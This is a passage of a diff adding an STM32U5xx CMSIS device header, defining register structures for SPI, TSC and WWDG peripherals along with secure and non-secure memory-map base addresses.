AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define DSI_BASE_NS (APB2PERIPH_BASE_NS + 0x6C00UL) +#define REFBIAS_BASE_NS (DSI_BASE_NS + 0x800UL) +#define DPHY_BASE_NS (DSI_BASE_NS + 0xC00UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define OTFDEC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_NS (OTFDEC2_BASE_NS + 0x20UL) +#define OTFDEC2_REGION2_BASE_NS (OTFDEC2_BASE_NS + 0x50UL) +#define OTFDEC2_REGION3_BASE_NS (OTFDEC2_BASE_NS + 0x80UL) +#define OTFDEC2_REGION4_BASE_NS (OTFDEC2_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) +#define DSI_BASE_S (APB2PERIPH_BASE_S + 0x6C00UL) +#define REFBIAS_BASE_S (DSI_BASE_S + 0x800UL) +#define DPHY_BASE_S (DSI_BASE_S + 0xC00UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S 